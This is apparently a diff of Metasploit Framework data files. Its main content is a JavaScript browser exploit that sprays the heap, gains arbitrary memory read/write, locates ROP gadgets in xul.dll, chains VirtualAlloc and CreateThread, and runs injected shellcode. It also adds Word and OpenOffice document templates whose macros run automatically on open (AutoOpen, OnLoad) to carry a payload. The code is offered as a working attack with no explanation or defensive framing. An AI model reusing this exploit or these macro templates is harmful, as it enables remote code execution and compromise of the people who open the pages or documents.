ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d
|
||||
6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
MINISTREAM_DATA
|
||||
0105000000000000}
|
||||
{\result {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid1979324 }}}}
|
||||
{\*\datastore }
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
<html><body bgcolor="#2F3236"><center><div><iframe width="1280" height="720" src="https://www.youtube.com/embed/wArxEk0Rxhc?autoplay=1" frameborder="0" allowfullscreen></iframe></div></center></body></html>
|
||||
@@ -0,0 +1,362 @@
|
||||
var window = self;
|
||||
|
||||
function Memory(b,a,f)
|
||||
{
|
||||
this._base_addr=b;
|
||||
this._read=a;
|
||||
this._write=f;
|
||||
this._abs_read = function(a) {
|
||||
a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
|
||||
return 0>a?4294967295+a+1:a
|
||||
|
||||
};
|
||||
this._abs_write = function(a,b) {
|
||||
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
|
||||
};
|
||||
this.readByte = function(a) {
|
||||
return this.read(a) & 255
|
||||
|
||||
};
|
||||
this.readWord = function(a) {
|
||||
return this.read(a) & 65535
|
||||
};
|
||||
this.readDword = function(a){ return this.read(a) };
|
||||
this.read = function(a,b) {
|
||||
if (a%4) {
|
||||
var c = this._abs_read( a & 4294967292),
|
||||
d = this._abs_read( a+4 & 4294967292),
|
||||
e = a%4;
|
||||
return c>>>8*e | d<<8*(4-e)
|
||||
}
|
||||
return this._abs_read(a)
|
||||
};
|
||||
this.readStr = function(a) {
|
||||
for(var b = "", c = 0;;) {
|
||||
if (32 == c)
|
||||
return "";
|
||||
var d = this.readByte(a+c);
|
||||
if(0 == d)
|
||||
break;
|
||||
b += String.fromCharCode(d);
|
||||
c++
|
||||
}
|
||||
return b
|
||||
|
||||
};
|
||||
this.write = function(a){}
|
||||
}
|
||||
|
||||
function PE(b,a) {
|
||||
this.mem = b;
|
||||
this.export_table = this.module_base = void 0;
|
||||
this.export_table_size = 0;
|
||||
this.import_table = void 0;
|
||||
this.import_table_size = 0;
|
||||
this.find_module_base = function(a) {
|
||||
for(a &= 4294901760; a; ) {
|
||||
if(0x5a4d == this.mem.readWord(a))
|
||||
return this.module_base=a;
|
||||
a -= 65536
|
||||
}
|
||||
};
|
||||
this._resolve_pe_structures = function() {
|
||||
peFile = this.module_base + this.mem.readWord(this.module_base+60);
|
||||
if(0x4550 != this.mem.readDword(peFile))
|
||||
throw "Bad NT Signature";
|
||||
|
||||
this.pe_file = peFile;
|
||||
this.optional_header = this.pe_file+36;
|
||||
this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120);
|
||||
this.export_directory_size = this.mem.readDword(this.pe_file+124);
|
||||
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
|
||||
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
|
||||
this.resolve_imported_function=function(a,b){
|
||||
void 0==this.import_directory&&this._resolve_pe_structures();
|
||||
for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){
|
||||
var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
|
||||
if(a.toUpperCase()==d.toUpperCase()){
|
||||
for(var c = this.mem.readDword(e) + this.module_base,
|
||||
e = this.mem.readDword(e+16) + this.module_base,
|
||||
d = this.mem.readDword(c),
|
||||
f = 0 ; 0 !=d ; )
|
||||
{
|
||||
if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase())
|
||||
return this.mem.readDword(e+4*f);
|
||||
f++;
|
||||
d = this.mem.readDword(c+4*f)
|
||||
}
|
||||
break
|
||||
}
|
||||
e+=20
|
||||
}
|
||||
return 0
|
||||
};
|
||||
void 0!=a && this.find_module_base(a)
|
||||
}
|
||||
|
||||
function ROP(mem,a){
|
||||
this.mem = mem;
|
||||
this.pe = new PE(mem,a);
|
||||
this.pe._resolve_pe_structures();
|
||||
this.module_base = this.pe.module_base + 0x1000;
|
||||
|
||||
this.findSequence = function(seq) {
|
||||
for(var b=0;;) {
|
||||
for(var e=0,c=0;c<seq.length;c++)
|
||||
if(this.mem.readByte(this.module_base+b+c)==seq[c]&&e==c)
|
||||
e++;
|
||||
else
|
||||
break;
|
||||
if(e==seq.length)
|
||||
return this.module_base+b;
|
||||
b++
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
this.findStackPivot=function() {
|
||||
return this.findSequence([0x94, 0xc3])
|
||||
|
||||
};
|
||||
this.findPopRet=function(a) {
|
||||
return this.findSequence([0x58, 0xc3])
|
||||
|
||||
};
|
||||
this.ropChain=function(base, vtOffset, array = undefined) {
|
||||
var buf = undefined
|
||||
if (array != undefined)
|
||||
buf = array
|
||||
else
|
||||
buf = new ArrayBuffer(0x1000)
|
||||
ropBuff = new Uint32Array(buf);
|
||||
var stackPivot = this.findStackPivot(),
|
||||
popRet = this.findPopRet("EAX"),
|
||||
virtualAllocAddr = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
|
||||
|
||||
ropBuff[0]= popRet+1;
|
||||
ropBuff[1]= popRet;
|
||||
ropBuff[2]= base+vtOffset+4;
|
||||
ropBuff[3]= stackPivot;
|
||||
ropBuff[vtOffset>>2] = stackPivot;
|
||||
|
||||
offset = (vtOffset+4>>2);
|
||||
ropBuff[offset++]=virtualAllocAddr;
|
||||
ropBuff[offset++]=base+(vtOffset+0x1c);
|
||||
ropBuff[offset++]=base;
|
||||
ropBuff[offset++]=0x1000;
|
||||
ropBuff[offset++]=0x1000;
|
||||
ropBuff[offset++]=0x40;
|
||||
ropBuff[offset++]=0xcccccccc;
|
||||
|
||||
return ropBuff;
|
||||
}
|
||||
}
|
||||
|
||||
var conv=new ArrayBuffer(8)
|
||||
var convf64=new Float64Array(conv)
|
||||
var convu32=new Uint32Array(conv)
|
||||
|
||||
var qword2Double=function(b,a) {
|
||||
convu32[0]=b;
|
||||
convu32[1]=a;
|
||||
return convf64[0]
|
||||
}
|
||||
|
||||
var doubleFromFloat = function(b,a) {
|
||||
convf64[0]=b;
|
||||
return convu32[a]
|
||||
}
|
||||
|
||||
var sprayArrays=function() {
|
||||
var mArray = new Array(0x1fffe)
|
||||
var arrBuf = new ArrayBuffer(0x100000);
|
||||
var dwArray = new Uint32Array(arrBuf)
|
||||
var qwArray = new Float64Array(arrBuf, 0x10)
|
||||
|
||||
|
||||
for (var i = 0; i < 0x1fffe; i++)
|
||||
mArray[i] = qword2Double(0, 0);
|
||||
|
||||
mArray[2] = qword2Double(arrBase + 0xaf0, 0)
|
||||
mArray[0xe] = qword2Double(arrBase + 0x08, 0)
|
||||
mArray[0x15] = qword2Double(0, 0x02)
|
||||
mArray[0x21] = qword2Double(0x02, 0)
|
||||
mArray[0x22] = qword2Double(arrBase + 0x2f0, arrBase + 0x1f0)
|
||||
mArray[0x3e] = qword2Double(0, arrBase + 0x3f0)
|
||||
mArray[0x5e] = qword2Double(arrBase + 0x4f0, 0)
|
||||
mArray[0x80] = qword2Double(0x02, 0)
|
||||
mArray[0x9f] = qword2Double(arrBase + 0x500,0)
|
||||
mArray[0xa0] = qword2Double(0, 0xf0000000)
|
||||
mArray[0xa2] = qword2Double(0, 0xbff00000)
|
||||
mArray[0xa4] = qword2Double(0x02, 0)
|
||||
mArray[0xa5] = qword2Double(0x01, 0)
|
||||
mArray[0xaa] = qword2Double(0, arrBase + 0x5f0)
|
||||
mArray[0xac] = qword2Double(arrBase + 0x6f0, arrBase + 0x700)
|
||||
mArray[0xb3] = qword2Double(0, 0x02)
|
||||
mArray[0xb4] = qword2Double(0, 0)
|
||||
mArray[0xde] = qword2Double(arrBase + 0x7f0, 0)
|
||||
mArray[0xfe] = qword2Double(0x01, 0);
|
||||
mArray[0xff] = qword2Double(0, 0x10000000)
|
||||
mArray[0x15e] = qword2Double(0x07, 0)
|
||||
mArray[0x15f] = qword2Double(arrBase + 0xf0, arrBase - 0x10 + 0x05)
|
||||
mArray[0x160] = qword2Double(arrBase - 0x07, arrBase - 0x10 + 0x0d)
|
||||
mArray[0x161] = qword2Double(arrBase + 0x10000b, arrBase + 0x100007)
|
||||
mArray[0x162] = qword2Double(arrBase + 0x100003, 0)
|
||||
mArray[0x202] = qword2Double(arrBase + 0x1af0, 0)
|
||||
mArray[0x20e] = qword2Double(arrBase + 0x1008, 0)
|
||||
mArray[0x215] = qword2Double(0, 0x02)
|
||||
mArray[0x221] = qword2Double(0x02, 0)
|
||||
mArray[0x222] = qword2Double(arrBase + 0x12f0, arrBase + 0x11f0)
|
||||
mArray[0x23e] = qword2Double(0, arrBase + 0x13f0)
|
||||
mArray[0x25e] = qword2Double(arrBase + 0x14f0, 0)
|
||||
mArray[0x280] = qword2Double(0x02, 0)
|
||||
mArray[0x29f] = qword2Double(arrBase + 0x1500,0)
|
||||
mArray[0x2a0] = qword2Double(0, 0xf0000000)
|
||||
mArray[0x2a2] = qword2Double(0, 0xbff00000)
|
||||
mArray[0x2a4] = qword2Double(0x02, 0)
|
||||
mArray[0x2a5] = qword2Double(0x01, 0)
|
||||
mArray[0x2aa] = qword2Double(0, arrBase + 0x15f0)
|
||||
mArray[0x2ac] = qword2Double(arrBase + 0x16f0, arrBase + 0x1700)
|
||||
mArray[0x2b3] = qword2Double(0, 0x02)
|
||||
mArray[0x2b4] = qword2Double(0, 0x00)
|
||||
mArray[0x2de] = qword2Double(arrBase + 0x17f0, 0)
|
||||
mArray[0x2fe] = qword2Double(0x01, 0)
|
||||
mArray[0x2ff] = qword2Double(0, 0x10000000)
|
||||
|
||||
var i = mArray.length;
|
||||
while(i--) {qwArray[i] = mArray[i];}
|
||||
|
||||
for (var i = 0; i < spr.length; i += 2)
|
||||
{
|
||||
spr[i] = mArray.slice(0)
|
||||
spr[i + 1] = arrBuf.slice(0)
|
||||
}
|
||||
}
|
||||
|
||||
var spr = new Array(400)
|
||||
var arrBase = 0x22100010;
|
||||
|
||||
// insert codes here \/ ------
|
||||
Shellcode = unescape("INSERTSHELLCODEHEREPLZ");
|
||||
|
||||
if (Shellcode.length % 2 != 0)
|
||||
Shellcode += "NOPSGOHERE";
|
||||
|
||||
sprayArrays();
|
||||
postMessage(arrBase)
|
||||
|
||||
|
||||
var len = spr[0].length;
|
||||
var mArray = undefined;
|
||||
var dwArray = undefined;
|
||||
var qwArray = undefined;
|
||||
var container = undefined;
|
||||
|
||||
while (mArray == undefined)
|
||||
{
|
||||
for (var i = 0; i < spr.length; i += 2)
|
||||
{
|
||||
if (spr[i].length != len)
|
||||
{
|
||||
container = dwArray = new Uint32Array(spr[i + 1])
|
||||
qwArray = new Float64Array(spr[i + 1], 0x10)
|
||||
if (dwArray[1] == 0)
|
||||
{
|
||||
dwArray = new Uint32Array(spr[i - 1])
|
||||
dwArray[0] = dwArray[1] = dwArray[2] = dwArray[3] = 0xdea110c8;
|
||||
qwArray = new Float64Array(spr[i - 1], 0x10)
|
||||
}
|
||||
mArray = spr[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var off = 0x100000;
|
||||
if (dwArray != container)
|
||||
off = off * 2;
|
||||
|
||||
var memory = new Uint32Array(0x10);
|
||||
var len = memory.length;
|
||||
mArray[0x20000] = memory;
|
||||
ropArrBuf = new ArrayBuffer(0x1000)
|
||||
mArray[0x20001] = ropArrBuf;
|
||||
ropArrBufPtr = container[0x6]
|
||||
|
||||
targetAddr = container[4] + 0x1b;
|
||||
var arrayBase = container[4] + 0x30;
|
||||
|
||||
mArray[0x20000] = undefined;
|
||||
mArray[0x20001] = undefined;
|
||||
|
||||
var n = 0x40;
|
||||
qwArray[0x35e] = mArray[0x35e] = qword2Double(n + 1, 0)
|
||||
qwArray[0x35f] = mArray[0x35f] = qword2Double(arrBase - 0x10 + 0x1100, targetAddr)
|
||||
for (var i = 0; i < (n/2); i++)
|
||||
qwArray[0x360 + i] = mArray[0x360 + i] = qword2Double(targetAddr, targetAddr)
|
||||
|
||||
container[0] = container[1] = container[2] = container[3] = 0xffffff81;
|
||||
qwArray[0x1e] = mArray[0x1e] = qword2Double(0xdea110c8, 0)
|
||||
qwArray[0xfe] = mArray[0xfe] = qword2Double(2, 0)
|
||||
qwArray[0xb3] = mArray[0xb3] = qword2Double(0, 3)
|
||||
qwArray[0xa9] = mArray[0xa9] = qword2Double(0, 2)
|
||||
|
||||
while (memory.length == len) {}
|
||||
|
||||
|
||||
var mem = new Memory(arrayBase,
|
||||
function(b) { return memory[b/4]; },
|
||||
function(b,a) { memory[b/4] = a; });
|
||||
|
||||
var ptr = targetAddr - 0x1b;
|
||||
var xulPtr = mem.readDword(ptr + 0xc);
|
||||
var rop = new ROP(mem, xulPtr);
|
||||
var ropBase = mem.readDword(ropArrBufPtr + 0x10);
|
||||
rop.ropChain(ropBase, 0x130, ropArrBuf);
|
||||
var backupESP = rop.findSequence(Array(0x89, 0x01, 0xc3))
|
||||
var ropChain = new Uint32Array(ropArrBuf)
|
||||
ropChain[0] = backupESP;
|
||||
CreateThread = rop.pe.resolve_imported_function('KERNEL32.dll', 'CreateThread')
|
||||
|
||||
ropChain[0x12c >> 2] = ropChain[0x130 >> 2];
|
||||
|
||||
for (var i = 0; i < ropChain.length; i++)
|
||||
{
|
||||
if (ropChain[i] == 0xcccccccc)
|
||||
break;
|
||||
}
|
||||
|
||||
ropChain[i++] = 0xc4819090;
|
||||
ropChain[i++] = 0x00000800;
|
||||
ropChain[i++] = 0x5050c031;
|
||||
ropChain[i++] = 0x5b21eb50;
|
||||
ropChain[i++] = 0xb8505053;
|
||||
ropChain[i++] = CreateThread;
|
||||
ropChain[i++] = 0xb890d0ff;
|
||||
ropChain[i++] = arrBase + 0x2040;
|
||||
ropChain[i++] = 0x5f58208b;
|
||||
ropChain[i++] = 0xbe905d58;
|
||||
ropChain[i++] = 0xFFFFFF00;
|
||||
ropChain[i++] = 0x000cc2c9;
|
||||
ropChain[i++] = 0xffffdae8;
|
||||
ropChain[i++] = 0x909090ff;
|
||||
|
||||
for (var j = 0; j < Shellcode.length; j += 2)
|
||||
ropChain[i++] = Shellcode.charCodeAt(j) + Shellcode.charCodeAt(j + 1) * 0x10000;
|
||||
|
||||
mArray[0x400] = qwArray[0x400] = qword2Double(arrBase + 0x2000, 0)
|
||||
mArray[0x400 + (0x10 >> 3)] = qwArray[0x400 + (0x10 >> 3)] = qword2Double(0, arrBase + 0x2040)
|
||||
mArray[0x400 + (0x18 >> 3)] = qwArray[0x400 + (0x18 >> 3)] = qword2Double(4, 0)
|
||||
mArray[0x400 + (0x40 >> 3)] = qwArray[0x400 + (0x40 >> 3)] = qword2Double(ropBase, 0)
|
||||
mArray[0x400 + (0xac >> 3)] = qwArray[0x400 + (0xac >> 3)] = qword2Double(0, 2)
|
||||
|
||||
for (var i = 0; i < 4; i++) {
|
||||
container[0x400 + i] = 0xdea110c8
|
||||
}
|
||||
|
||||
qwArray[0x21e] = mArray[0x21e] = qword2Double(0xdea110c8, 0)
|
||||
qwArray[0x2fe] = mArray[0x2fe] = qword2Double(2, 0)
|
||||
qwArray[0x2b3] = mArray[0x2b3] = qword2Double(0, 3)
|
||||
qwArray[0x2a9] = mArray[0x2a9] = qword2Double(0, 2)
|
||||
|
||||
postMessage("!")
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<dc:title/>
|
||||
<dc:subject/>
|
||||
<dc:creator/>
|
||||
<cp:keywords/>
|
||||
<dc:description></dc:description>
|
||||
<cp:lastModifiedBy>Nobody</cp:lastModifiedBy>
|
||||
<cp:revision>1</cp:revision>
|
||||
<dcterms:created xsi:type="dcterms:W3CDTF">2017-05-25T19:12:00Z</dcterms:created>
|
||||
<dcterms:modified xsi:type="dcterms:W3CDTF">2017-05-25T19:28:00Z</dcterms:modified>
|
||||
<cp:category/>
|
||||
</cp:coreProperties>
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/wordVbaData" Target="vbaData.xml"/></Relationships>
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
|
||||
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
|
||||
|
||||
CODEGOESHERE
|
||||
</script:module>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd">
|
||||
<library:library xmlns:library="http://openoffice.org/2000/library" library:name="Standard" library:readonly="false" library:passwordprotected="false">
|
||||
<library:element library:name="Module1"/>
|
||||
</library:library>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:libraries PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "libraries.dtd">
|
||||
<library:libraries xmlns:library="http://openoffice.org/2000/library" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<library:library library:name="Standard" library:link="false"/>
|
||||
</library:libraries>
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 728 B |
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:textooo="http://openoffice.org/2013/office" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"><office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:Standard.Module1.OnLoad?language=Basic&location=document" xlink:type="simple"/></office:event-listeners></office:scripts><office:font-face-decls><style:font-face style:name="Mangal1" svg:font-family="Mangal"/><style:font-face style:name="Times New Roman" svg:font-family="'Times New Roman'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Mangal" svg:font-family="Mangal" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles/><office:body>DOCBODYGOESHER<office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/></office:text></office:body></office:document-content>
|
||||
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:textooo="http://openoffice.org/2013/office" office:version="1.2"><office:meta><meta:initial-creator>sinn3r </meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>sinn3r </dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:generator>OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783</meta:generator><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0"/></office:meta></office:document-meta>
|
||||
@@ -0,0 +1 @@
|
||||
application/vnd.oasis.opendocument.text
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
|
||||
```
|
||||
|
||||
Other examples of setting the RHSOTS option:
|
||||
Other examples of setting the RHOSTS option:
|
||||
|
||||
Example 1:
|
||||
|
||||
|
||||
Executable → Regular
+3
-15
@@ -1,17 +1,8 @@
|
||||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
